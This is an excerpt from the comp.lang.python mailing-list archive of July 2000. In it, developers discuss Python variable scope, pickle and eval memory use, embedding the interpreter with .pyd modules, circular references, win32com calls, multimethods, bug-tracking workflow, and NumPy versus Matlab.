 > | mailto:calcium at ozemail.com.au +6141 321 9866 +613 9889 0883 (tel/fax)
 > | Ob saying - Software is hard - me!
 > 
 > -- 
 > http://www.python.org/mailman/listinfo/python-list
 > 



From scarblac-spamtrap at pino.selwerd.nl  Mon Jul 31 10:47:16 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 31 Jul 2000 14:47:16 GMT
Subject: variable scope
References: <398580A2.9EBD6072@lucent.com>
Message-ID: <slrn8ob4a8.5qq.scarblac-spamtrap@flits104-37.flits.rug.nl>

Cris A. Fugate wrote in comp.lang.python:
> Hi, Im new to Python and I have a question about variable scope.
> 
> It seems that any variable declared in a function is local.
> 
> Is there any way to define a global variable within a function?
> 
> For example, Tcl can use eval and uplevel to evaluate code
> 
> on any scope level.  In Scheme a local variable uses let,
> 
> otherwise it is global.

Please turn off sending posts in HTML in your newsreader. It makes your
posts look wrong, and far too long.

Okay. In Python, if you assign to a variable, it is a local by default.
If you only use it "read only", it is assumed to be global. You can 
declare a variable to be global with the "global" keyword, ie

def setx():
   global x
   x = 3
   
setx()
print x


(there was a plan for declaring a local variable that's never assigned to,
but the discussion got stuck at choosing the name)
-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
"This gubblick contains many nonsklarkish English flutzpahs, but the
 overall pluggandisp can be glorked from context"  (David Moser)


From cmedcoff at sprynet.com  Fri Jul  7 08:16:07 2000
From: cmedcoff at sprynet.com (Charles Medcoff)
Date: Fri, 7 Jul 2000 08:16:07 -0400
Subject: Win32com curiousity #2: PythonWin code completion
References: <8k2q2c$fg2$1@nnrp1.deja.com> <vr795.3678$EV6.116137@typhoon1.ba-dsg.net> <8k3j35$v4c$1@nnrp1.deja.com>
Message-ID: <8k4h3f$dq4$1@slb6.atl.mindspring.net>

> _After_ running makepy, saving the source, closing PythonWin, reopening
> the source in PythonWin, the class browser initially is only aware of
> the methods that are used in my source code. After a certain operation
> (I think it happens after a save or run), then the class browser
> display all available methods.
>
> I am not sure if this is a PythonWin bug, or my installation or
> configuration is damaged.

Funny, I observe the exact same thing.  As a matter of fact if I mistype or
indicate an incorrect property/method in the code somewhere, later the same
shows up in the auto-completion list as if it were a member of the object.




From jepler.lnk at lnk.ispi.net  Sun Jul 16 22:07:01 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Mon, 17 Jul 2000 02:07:01 GMT
Subject: string issue or questions about intern
References: <396EEAFF.3AD7B951@bioreason.com> <396F87C4.6B3C9FAE@schneider-kamp.de> <396F0DD3.B391503@bioreason.com> <3dk8eol9bk.fsf@kronos.cnri.reston.va.us>
Message-ID: <9Ttc5.180$ttZ2.9044288@news.randori.com>

On 14 Jul 2000 16:56:47 -0400, Andrew Kuchling
 <akuchlin at mems-exchange.org> wrote:
>Brian Kelley <kelley at bioreason.com> writes:
>> eval('"AAAAA"')
>> eval('"AAAAB"')
>> eval ('"AAAAC"')
>
>This seems a reasonable outcome of the rule that Python always interns
>string constants.  Every string gets interned, and interned strings
>are never freed, so memory is constantly being consumed.  
>
>If you need full Python expressions, there seems no way around using
>eval().  But if you simply need string escapes, it's probably worth
>writing a parser.  (Does such a parser already exist somewhere in the
>standard library?  Anyone know?) 

Well, the problem is pickle.Unpickler.load_string():
    def load_string(self):
        self.append(eval(self.readline()[:-1],
                         {'__builtins__': {}})) # Let's be careful
    dispatch[STRING] = load_string

You can see that unpickling lots of unique strings causes Python to use
progressively more memory.

Jeff


From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 20 02:46:47 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 20 Jul 2000 06:46:47 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local> <3976371F.210C2C21@uab.edu> <8l5lne$lb$1@slb0.atl.mindspring.net>
Message-ID: <slrn8nd80e.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>

Aahz Maruch wrote in comp.lang.python:
> In article <3976371F.210C2C21 at uab.edu>, Shae Erisson  <shapr at uab.edu> wrote:
> >
> >I already have a function that does this in my handy shaetools module,
> >for me it will always be interleave.
> 
> Oh, *that's* a good one.  All right, anyone else agree that "interleave"
> is the best suggestion we've had so far?

For the function that creates [1,2,3,4,5,6] of [1,3,5] and [2,4,6], yes.

But the proposal should construct [(1,2), (3,4), (5,6)], right?

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
Hi! I'm a .sig virus! Join the fun and copy me into yours!


From edream at tds.net  Sun Jul 16 17:40:13 2000
From: edream at tds.net (Edward K. Ream)
Date: Sun, 16 Jul 2000 21:40:13 GMT
Subject: Can't load .pyd files from embedded Python interp
Message-ID: <39722B90.A41E02B5@tds.net>

Hi,

I'm having difficulty importing modules defined in .pyd files from an
embedded Python interpreter.  The problem seems to be that two sets of
variables are being used and no linking is happening when the DLL is
loaded.  Perhaps you DLL gurus will spot the problem immediatly. 
Details follow...

I've embedded the Python interpreter in a wxWindows test app using the
Borland compiler. The interpreter was embedded in a straightforward way,
by creating python15.lib and parserLib.lib from the sources, then
linking these libs with no special options into my app.

I've also used the python15.lib and parser.lib files from the Windows
distribution, with approximately the same results.  Because of problems
with FILE * params in the C API, it seemed best to build the .lib files
using the Borland compiler.

The app can execute code such as the following from the
wxWindows OnInit code:

    Py_Initialize();
    PyRun_SimpleString("for i in sys.path: print i");

Py_Initialize() exercises lots of code, including all the code I
modified for the Borland compiler, so most everything is working.

However, I am not able to import files defined in any .pyd file, say
like this:

    Py_Initialize();
    PyRun_SimpleString("import parser") ;

where parser is contained in parser.pyd.  No matter what .pyd file is
imported, the code fails by calling Py_FatalError inside the DLL's
initialization routine, parser.initparser in this example.  What happens
is this:

1. The call to PyRun_SimpleString("import parser") eventually results in
a call to _PyImport_LoadDynamicModule which loads the DLL called
parser.pyd by calling:

    hDLL = LoadLibraryEx(pathname, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

The call succeeds.

2.  _PyImport_LoadDynamicModule then calls:

    p = GetProcAddress(hDLL, funcname);

where funcname is "initparser" in this example.  This call also
succeeds, so p points to the init function for parser module.

3.  _PyImport_LoadDynamicModule then calls:

        (*p)();

This statement calls the init function for the imported .pyd file.

4.  The init function appears to be entered correctly and very soon the
init function calls Py_FatalError.  The reason is clear:  the init code
is using a separate copy of the variable PyThreadState_Current and that
variable is NULL because it has never been initialized.

The Borland debugger shows this variable as
[python15.PyThreadState_Current] rather than [interp_head+4] for the
same variable in the embedded interpreter.

So what is happening seems clear: there are two separate variables
called PyThreadState_Current, and the call to Py_Initialize() in the
embedded interpreter initializes only the interpreter's copy, not the
DLL's copy.

In my mind there are several possible ways to make the two copies of
PyThreadState_Current refer to the same memory.

1.  [Unlikely]  With some special initialization code before calling
(*p)().  This is unlikely for several reasons, of which one is there is
no indication anywhere that importing .pyd files should require special
code.  And changing code in _PyImport_LoadDynamicModule seems out of the
question.

2.  [Unlikely] Perhaps the call (*p)() is defective.  Borland C has
several directives for declaring function pointers.  The present Borland
code declares p with:

    typedef __cdecl FARPROC dl_funcptr;
    dl_funcptr p;

However, the difference between __cdecl, __pascal and __stdcall should
make a diffence only if p has arguments.  And the init routine seems to
be called properly.

3.  [More likely?]  We should provide information to LoadLibraryEx so
that LoadLibraryEx can fixup references within the DLL to point at the
corresponding locations in the embedded interpreter.  I've looked in
vain for information about how to do this.  Is this a matter of using
special link options, or of providing tables to LoadLibraryEx?

4.  [Less likely?] The Windows 32-bit API docs mention the DllEntryPoint
mechanism.  I don't see anything in the _PyImport_LoadDynamicModule to
indicate that this mechanism is used.  Instead, .pyd files seem to be
using their own kind of init function.

After all this background, can anyone tell me how to load .pyd files
from an embedded Python interpreter?  Also, can anyone suggest a URL
that really explains Windows DLL files?  The entries at
http://msdn.microsoft.com/library
seem less than completely satisfactory.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From mbaker at 0x7a69.net  Tue Jul 25 21:50:05 2000
From: mbaker at 0x7a69.net (Mark Baker)
Date: Tue, 25 Jul 2000 20:50:05 -0500
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net>
Message-ID: <kdrf5.1533$ck7.387726@nntp1.onemain.com>

In article <slrn8nsdpi.2pk.wtanksle at dolphin.openprojects.net>,
wtanksle at dolphin.openprojects.net (William Tanksley) wrote:
>>Also, how do I print without a new line other than using
>>sys.stdout.write?
> 
> Why?  Is there something in specific you're trying to avoid?  (Yes, it's
> possible, but it's not pretty.)

print 'bob',

That's not "pretty," but it's also not so ugly as to not tell him how to do it.


From sean at digitome.com  Sun Jul  2 07:55:03 2000
From: sean at digitome.com (Sean Mc Grath)
Date: Sun, 02 Jul 2000 11:55:03 GMT
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie>
Message-ID: <395f27ab.2095753@news.iol.ie>

Sheesh! I really need a holiday! Yet another typo fixed. Sorry
about this...

I have a reproduceable GPF on NT when pickling objects of a class
that has a __getattr__ implementation. Take out the __getattr__ and
the pickle works fine.

Are there ways to implement __getattr__ and yet preserve the ability
to pickle?

regards,





From piet at cs.uu.nl  Fri Jul 28 08:11:57 2000
From: piet at cs.uu.nl (piet at cs.uu.nl)
Date: 28 Jul 2000 14:11:57 +0200
Subject: MySQL, mSQL, or other database
References: <CaFe5.3901$pC1.18696@news02>
Message-ID: <uzon2pi7m.fsf@cs.uu.nl>

>>>>> "Adam Durity" <fatman40k at hotmail.com> (AD) writes:

AD> I have a website hosted by a WPP and they will provide me with Access
AD> database support for an additional $10 a month. I'm on a fairly tight
AD> budget so is there any way i can use MySQL, mSQL, or another database
AD> package to handle a smple SQL database without a DSN. BTW, i am a
AD> newbie to all this stuff. Thanks in advance, Adam.

If your database isn't too heavy, you could use a Python-only solution:
Gadfly. 

-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From hschroeder at gmx.net  Thu Jul 13 19:10:14 2000
From: hschroeder at gmx.net (Henning Schroeder)
Date: Fri, 14 Jul 2000 01:10:14 +0200
Subject: vCard module
References: <t1qhf9ukaf9.fsf@kermit.wreck.org>
Message-ID: <m8ilk8.fc2.ln@odin.henning-schroeder.de>

Bobby de Vos <bobby at devos.org> wrote:
> Does anyone know of a Python module that would allow me to easily
> parse and format vCards?
The new WorldPilot 1.1alpha contains such a module (file vCard.py)
ftp://demo.worldpilot.com/pub wppocket-1.1.0alpha2.tgz
(see wppocket-1.1.0alpha2.tgz)

If there are any other implementations with a better license please let me
know. 

Henning

-- 
henning.schroeder at informatik.uni-oldenburg.de
ich at henning-schroeder.de  *  http://www.henning-schroeder.de


From darrell at dorb.com  Thu Jul 20 14:40:34 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Thu, 20 Jul 2000 14:40:34 -0400
Subject: Determine path of current module?
References: <3976AA30.1C4F62B8@schlund.de> <8l6bis$elb$1@pollux.ip-plus.net> <3976B678.83F01206@schlund.de>
Message-ID: <068b01bff279$fdaad860$6401a8c0@home>

>>> print sys.modules['stat']
<module 'stat' from 'D:\Python\Lib\stat.pyc'>

# sys is a builtin
>>> sys.__file__
Traceback (innermost last):
  File "<stdin>", line 1, in ?
AttributeError: __file__

>>> import os
>>> os.__file__
'D:\\Python\\Lib\\os.pyc'
>>>


--Darrell

----- Original Message -----
From: "Carsten Gaebler" <cg at schlund.de>
> Well, that's just the filename. What I'm looking for is the complete path,
> "d:\tmp\mypath.py" in this case.
>





From alex at magenta.com  Sat Jul 29 06:13:16 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 12:13:16 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no> <8lsu2a02ho4@news2.newsguy.com> <slrn8o4clt.abr.nobody@isis.visi.com>
Message-ID: <8luhsl21ce8@news2.newsguy.com>

"Grant Edwards" <nobody at nowhere.nohow> wrote in message
news:slrn8o4clt.abr.nobody at isis.visi.com...
> In article <8lsu2a02ho4 at news2.newsguy.com>, Alex Martelli wrote:
>
> >7 bits and up, anything goes.  But everything else's size (except
> >for bit-fields, a peculiar oddity) is a multiple of char's size,
> >so the latter's size is often called a 'byte' (which need not be
> >the same thing as an 'octet', though it often is:-).
>
> And all hell generally breaks loose when it isn't -- especially when two
> programs are communicating and they have differing defintions of how many
> bits there are in a byte.  But that's a whole different rant.

That's why protocols are defined in terms of _octets_...

If two programs communicate without following a precisely
defined protocol, or if one or both implement the protocol
incorrectly, then you've got problems -- byte/octet issues
being often the least of them.

(XML helps.  But don't anybody think it's anywhere close to
the panacea it's apparently considered to be in some circles;
that is just Yet Another recurrence of the never-ending dream
for the Magic Bullet:-).


Alex





From sblakey at freei.net  Mon Jul 10 15:35:59 2000
From: sblakey at freei.net (Sean Blakey)
Date: Mon, 10 Jul 2000 12:35:59 -0700
Subject: Circular reference problem -- advice?
In-Reply-To: <396A1EC6.6738CFCC@alcyone.com>; from max@alcyone.com on Mon, Jul 10, 2000 at 12:06:46PM -0700
References: <396A1EC6.6738CFCC@alcyone.com>
Message-ID: <20000710123559.A2218@freei.com>

On Mon, Jul 10, 2000 at 12:06:46PM -0700, Erik Max Francis wrote:
> I'm fairly new to Python, although it's simple enough that I've already
> been able to write some fairly involved programs in it (I already know
> C, C++, Perl, etc.).  This question isn't so much about what's going
> wrong, but rather what's the best, most natural way to get around it.
> 
> I've come across a problem due to circular references, and I'm not sure
> what's the best way to tackle it.  In essence, the problem is that I
> need a particular class to keep an associative array of its methods for
> a lookup table (it's essentially a dispatcher).  But with references to
> its own bound methods, Python's garbage collector concludes it has
> circular references and thus its destructor never gets called.
> 
> Here is a simplified standalone program that demonstrates what I'm
> talking about:
> 
> class C:
>     def __init__(self):
>         print "in constructor"
>         self.map = { 'f': self.f, 'g': self.g }
> 
>     def __del__(self):
>         print "in destructor"
>     
>     def f(self):
>         print "in C.f"
> 
>     def g(self):
>         print "in C.g"
> 
>     def dispatch(self, name):
>         self.map[name]()
> 
> 
> c = C()
> c.dispatch('f')
> 
> When run, this program prints
> 
>     max at charmaine:~/tmp% ./circ.py
>     in constructor
>     in C.f
> 
> and that's it; because of the circular reference, the destructor never
> gets called.
> 
> For the application I need, it's imperative that the destructor get
> called.  What is the best way to solve this?  I can think of a few:
> 
> - Move the map to a local variable in the dispatching function
> - Make map a lookup table of _unbound_ methods
> - Build a string of the function call and then exec it
> 
> What would be the most effective way of getting around this?  I'm
> thinking that using unbound methods would probably be the best way.
> 
> -- 
>  Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
>  __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
> /  \ We'll have to make our own luck from now on.
> \__/ Louis Wu
>     Computer science / http://www.alcyone.com/max/reference/compsci/
>  A computer science reference.
> -- 
> http://www.python.org/mailman/listinfo/python-list

Is dispatch the only thing you need self.map for?  If so, I think the easiest
way around this circular reference may be to reimplement dispatch do that
self.map is unneeded.  For example:
    def dispatch(self, name):
        getattr(self, name)()

Also, your self.map looks like it duplicates the information in the builtin
self.__dict__.  Parhaps you could use that instead?
    def dispatch(self, name):
        self.__dict__[name]()

Either of these solutions will allow you to remove the self.map completely.
    -Sean
-- 
Sean Blakey, sblakey at freei.com
Software Developer, FreeInternet.com
(253)796-6500x1025
"From there to here, from here to there, funny things are everywhere."
-- Dr. Seuss



From bmcd at es.co.nz  Thu Jul 27 18:28:30 2000
From: bmcd at es.co.nz (Ben Caradoc-Davies)
Date: 27 Jul 2000 22:28:30 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8lq20g$kt1$1@nntp9.atl.mindspring.net>
Message-ID: <slrn8o1e2q.e3.bmcd@ripley.sulaco.net>

On 27 Jul 2000 19:19:44 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
>Guido van Rossum  <guido at beopen.com> wrote:
>>I've placed the slides of my talk at the O'Reilly Open Source
>>Convention on-line at our BeOpen PythonLabs website:
>>
>>    http://www.pythonlabs.com/talks.html
>
>It appears that the HTML version requires JavaScript.  That's a Bad Idea.

<rant tone=incensed peeve=inaccessibility>

This is one of the worst pieces of mangled HTML I've seen in some time. And
that takes some f***ing doing. What is even worse is that the numbers of the
slides are not even in sequence. Some information is recoverable from

  http://www.pythonlabs.com/talks/PythonState_files/outline.htm

but I detest having to hand-interpret JavaScript merely to read a bunch of
slides. In fact, I think you can read everything from the link given above.
Just ignore the links to the slides.

Guido, if you're reading this, I suggest that you turn off JavaScript and
check out

  http://www.pythonlabs.com/talks/PythonState.htm
  
You will be greeted by a blank page.

I think we all know precisely which application is responsible for generating
this monstrosity.

</rant>

-- 
Ben Caradoc-Davies <bmcd at es.co.nz>


From grey at despair.rpglink.com  Sat Jul 29 18:54:42 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:54:42 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com> <f5m3osobae9i4cvna8k89ra8u3vi1me5k9@4ax.com> <slrn8o4dul.abr.nobody@isis.visi.com> <f6k4os4r5dr5ucdeks5tf5d5o2hdfei7ob@4ax.com>
Message-ID: <slrn8o6o1e.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 03:30:44 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
wrote:
>Right--it's a sequence, and a single element.
>I restated this elsewhere in the thread; what I meant was that any
>arbitrary sequence can be viewed as a sequence or single entity, but any
>arbitrary single entity cannot necessarily be viewed as a sequence.

>I suspect I don't have the right vocabulary to express my thoughts here.

    Nope, that did it.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From neelk at brick.cswv.com  Sun Jul 23 10:14:17 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 23 Jul 2000 14:14:17 GMT
Subject: Multimethods
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net> <slrn8nki9i.7ga.neelk@brick.cswv.com> <397A91EB.80B74AE9@prescod.net>
Message-ID: <slrn8nm191.an7.neelk@brick.cswv.com>

Paul Prescod <paul at prescod.net> wrote:
> Neel Krishnaswami wrote:
> > 
> > ....
> > 
> > So multimethods. In ordinary OO programming, you can think of a method
> > as a set of functions, and the function body that's chosen is based on
> > the runtime type of the first argument.
> 
> You could, but Python exposes so much of the underlying implementation
> that this is not a very intuitive way to think about it. In particular,
> every instance of a class could have a *unique method* frob simply by
> assigning to the frob attribute. 

I don't understand you here. 

The way I understand method dispatch in Python to work is as follows.
If a name lookup that searches a class finds a function, that function
is wrapped in method clothing and returned. Assigning a function to an
instance slot will simply put a function in the slot.

class Foo:
    pass

x = Foo()

Foo.bar = lambda self: "Hello world!"
x.baz = lambda self: "Ni!"

This gives:

>>> x.bar
<method Foo.<lambda> of Foo instance at 80dade0>
>>> x.baz
<function <lambda> at 80db878>

> So it isn't clear to me how you extend this into multimethods. [...] 
> I mean the first step would be to make a form of Python method
> invocation that is type-based even for one argument.

I agree with this. My multimethod module for Python requires passing a
tuple of types (classes or builtin) to the generic function to let it
dispatch correctly. This is very inconvenient.  Multimethods, in all
their glory, will have to wait until after the types-sig figures out
what the type system should look like.


Neel


From thomas at xs4all.net  Fri Jul  7 11:34:11 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Fri, 7 Jul 2000 17:34:11 +0200
Subject: Python bug reporting [was: Re: readline.c & more]
In-Reply-To: <oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>; from pinard@iro.umontreal.ca on Fri, Jul 07, 2000 at 08:20:52AM -0400
References: <Pine.LNX.4.21.0007070138250.7366-100000@krispc6.physik.uni-karlsruhe.de> <blk8eywti5.fsf@bitdiddle.concentric.net> <oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>
Message-ID: <20000707173411.I26534@xs4all.nl>

On Fri, Jul 07, 2000 at 08:20:52AM -0400, Fran?ois Pinard wrote:
> [Jeremy Hylton]

> > I agree that the system [of necessarily using the Web to report Python
> > bugs, instead of the usual Python bug reporting email address] isn't
> > great, but at least it provides us with a mechanism to track patches and
> > assign responsibility for them.  The old email approach didn't have either
> > feature, which made it much harder for the people catching the patches.

> There are plenty of users, and a much smaller bunch of maintainers.
> It seems more fit to me to adapt to the plenty of users, than force all of
> them into the methods of a few.  This is not far from haughty maintenance.
> Besides, if the new mechanics and bug tracking systems did not even care to
> provide some interface or tools, so maintainers can receive and sort email
> into it, then that system is also haughty and aggressive at imposing itself.

There is a reason the SourceForge Patch Manager was adopted: It works. The
patches list didn't. It's irrelevant how easy it is to submit a patch if it
is then to be forgotten and never applied ;-P

> > You might suggestion an email interface in the SourceForge feature
> > request forum:  https://sourceforge.net/forum/?group_id=1

> Are you serious?  You would force me to use a Web forum to discuss that
> Web is inappropriate?  This isn't real, I am dreaming. :-(

I didn't see Jeremy say anything about the Web being inappriopriate.
SourceForge works using a web-interface for a very simple reason: near
everyone has a webbrowser (hell, my old Atari ST had one !) and most of them
can handle forms and the like. Email might be a lower-tech solution, but it
is very hard to do the things SourceForge does in only email. The only other
tools available for this sort of thing are a *lot* less common than
webbrowsers.

Perhaps Guido needs to make a P.O. box so people can send him print-outs of
their patches, or disks, for those without email. Given the number of people
without email, that might very useful.

If you refuse to communicate with SourceForge because you think what they do
is dumb, they can't know what they do is dumb, can they ? :P You don't
necessarily have to fill in a web-form to suggest an email-interface for
submitting patches, though. You can use your webbrowser to look for an email
address.

In the mean time ;) if you want to submit a patch and can't, discuss it with
python-dev at python.org or patches at python.org. patches still used for
SourceForge patch notifications, and python-dev is still active in spite of
SourceForge ;-) and I'm sure someone on there will volunteer to submit your
patch. (Hell, I would, so you can mail me directly, too.)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From davec999 at my-deja.com  Tue Jul 11 05:37:13 2000
From: davec999 at my-deja.com (David Currie)
Date: Tue, 11 Jul 2000 09:37:13 GMT
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com> <B59016E2.6043%dgoodger@bigfoot.com>
Message-ID: <8keps9$85u$1@nnrp1.deja.com>

In article <B59016E2.6043%dgoodger at bigfoot.com>, you wrote:
> But seriously (my comments above were in good fun, I assure you, no
harm
> intended), I read this newsgroup regularly and I never saw mention of
the
> Language Challenge 2000. Did I miss it? Perhaps the audience
determined the
> outcome?

Even if we had known, the competition not only requires an executable,
but also judges entries on the size of this .exe, so a Python entry was
never even possible.  I wonder what this post is doing in this
newsgroup... :)

Dave


Sent via Deja.com http://www.deja.com/
Before you buy.


From news at heitlager.com  Tue Jul 11 06:35:44 2000
From: news at heitlager.com (Ilja Heitlager)
Date: Tue, 11 Jul 2000 12:35:44 +0200
Subject: win32com: How to use optional parameters?
Message-ID: <8ket8e$nj6$1@spectra.a2000.nl>

Ok, call me lazy, but until now I was unable to use optional parameters in
COM calls.

For example I would like to Add a new sheet in Excel at the end of all other
sheets. In Visual Basic I would use something like

    xl.Worksheets.Add After:=xl.Worksheets.Count

Where the Add method accepts the following parameters

expression.Add(Before, After, Count, Type)
expression        Required. An expression that returns a Worksheets object.
Before               Optional Variant. An object that specifies the sheet
before which the new sheet is added.
After                   Optional Variant. An object that specifies the sheet
after which the new sheet is added.
Count                Optional Variant. The number of sheets to be added. The
default value is one.
Type                  Optional Variant. The sheet type.

Trying something like xl.Worksheets.Add(After=xl.Worksheets.Count) in python
doesn't work.

Please help, otherwise I need to use a MoveAfter method written in VB and
call this with Application.Run(...)

Regards,
Ilja Heitlager




From m.faassen at vet.uu.nl  Mon Jul 31 08:11:48 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 12:11:48 GMT
Subject: exceptions (was Re: Perl is worse!)
References: <8losor$4bk$1@nnrp1.deja.com>   <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8m26fm$ila$4@newshost.accu.uu.nl> <slrn8o9j3t.i9b.grey@teleute.rpglink.com> <8m3f0o$hn6$1@newshost.accu.uu.nl> <8m3kek027f0@news1.newsguy.com>
Message-ID: <8m3qe4$due$3@newshost.accu.uu.nl>

Alex Martelli <alex at magenta.com> wrote:
> "Martijn Faassen" <m.faassen at vet.uu.nl> wrote in message
> news:8m3f0o$hn6$1 at newshost.accu.uu.nl...
[snip]
>> """
>>      However I find that bugs come up on the damnedest things, break you
>> out of loops, cause problems all around and don't let you return to where
> you
>> were [in the algorithm], esp. when you use general catch all exceptions.
>> As Alex(?) said, you don't return to where you were so, to me, it seems
> quite
>> impossible to be able to catch /all/ bugs gracefully, ever.
>> """
>>
>> The answer to that is easy: No, of course not.

> Well, ok, not *ALL*.  But you can _design_ for that, to avoid corrupting the
> precious persistent data, and avoid wasting a lot of worktime by the user,
> under presence of MOST kinds of bugs...

Yes, but I'd classify that under 'ungraceful handling', as in "well, something
went wrong. I'm not really sure what exactly, though perhaps I can guess
it's X. Let's at least save state Y and bring the UI back to that
state, and go on; it should all be okay".

Perhaps your definition of graceful is different. Anyway, you can handle
almost all exceptions. I didn't presume Steve was complaining about that;
he was complaining it would become a mess. I tried to figure out why he'd
think that, and the only reason I could come up with was that he wanted his
code to continue in the face of *bugs* (either in the input data or in the
program itself). 

You can catch and handle even bugs in Python, and try to restore your
program to a reasonable state. If you use transactions, this can actually
be done quite gracefully sometimes. But I'd say the usual case isn't that
graceful; in the case of bugs by definition the program doesn't know
what went wrong exactly. 

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From olipt at mayo.edu  Tue Jul 18 12:08:57 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Tue, 18 Jul 2000 11:08:57 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
 f
In-Reply-To: <3bRZA8$jD_@openbazaar.net>
References: <3bRZA8$jD_@openbazaar.net>
Message-ID: <Pine.LNX.4.10.10007181042030.5733-100000@us2.mayo.edu>

> Personally, I find that the matrix-orientation of Matlab makes it
> harder to get things done.  I more often have 3 or higher dimensional
> arrays than I have plain old 2D matrices, so I'd rather see the more
> general Numeric Python syntax than any over-specialized matrix code.
> 
> When you're contracting a 4-tensor with a vector, you almost need an
> index-based notation.
> 
> As it is, the only things missing from NumPy is an easy spelling of
> matrix-matrix multiplication, and if you really need that, you can
> just define your own class to do it.

I think I'll chime in here.  I have been greatly enjoying this discussion.
I have been an active participant in Numerical Python development and have
been advocating it's use over Matlab to anyone who will listen for over a
year.  This recent excitement is encouraging as I've seen the potential
for Python to replace Matlab for some time.  Before, my thesis writing
picked up I spent quite a bit of time working on improving the number of
"toolboxes" available for Python --- a project I intend to continue as
soon as my dissertation gets written since I plan on using Python in the
electrical engineering classes I teach at University this winter.

Many people would like to see Python get into the core.  Guido has (in the
past six months) expressed a willingness to do that if there is community
support (I do not know if the recent move to BeOpen has changed that -- I
would be surprised if it did).  Some of us are working right now on a
redesign of NumPy to facilitate its inclusion into the core.  It is
available at SourceForge under the module name numpy2.  The basic idea is
to move the array object from a C-type to a Python class.  This will make
it much easier to subclass the array while keeping extension module
compatibility among the subclasses (so that toolboxes can be written to
handle the data regardless of the class).  I'm very busy right now, so
progress is slow.  However, the good news is that the design is complete
but just requires some coding work to get it running.  Any helpers who
want to make sure NumPy gets into the core are more than welcome to help.

I am not opposed to adding ONE new operator like "@" to the language.  
But, from the documentation it seems that Python likes not having such
"line noise" in its syntax.  I quoted the above because it expresses my
opinion as well:  Matlab had to "retrofit" itself in a very inelegant way
to handle N-D arrays --- it still doesn't do a good job in many respects.
There was a lot of careful discussion that went in to making NumPy general
for N-D arrays and not just 2-D matrices. 

For that reason I support to a greater extent the concept of a
Matrix-syntax parser for Python and a specialized Matrix subclass.  I
think MatPy is a fantastic step in this direction.  Either a
pre-processor/modified interpreter or an evaluation module
(ala PyAlgebra.run) seem like good ideas to me.

We need to remember that 2-D Linear Algebra is just a subset of what
Matlab and Numerical Python are useful for.  Many problems are actually
better written with N-D tensors.  I'd love to find Numerical algorithms
that found N-D tensor inverses without remapping to the (arbitrary?) 2-D
domain.  Has anybody heard of such things?


Travis Oliphant


---Words without work are worthless---










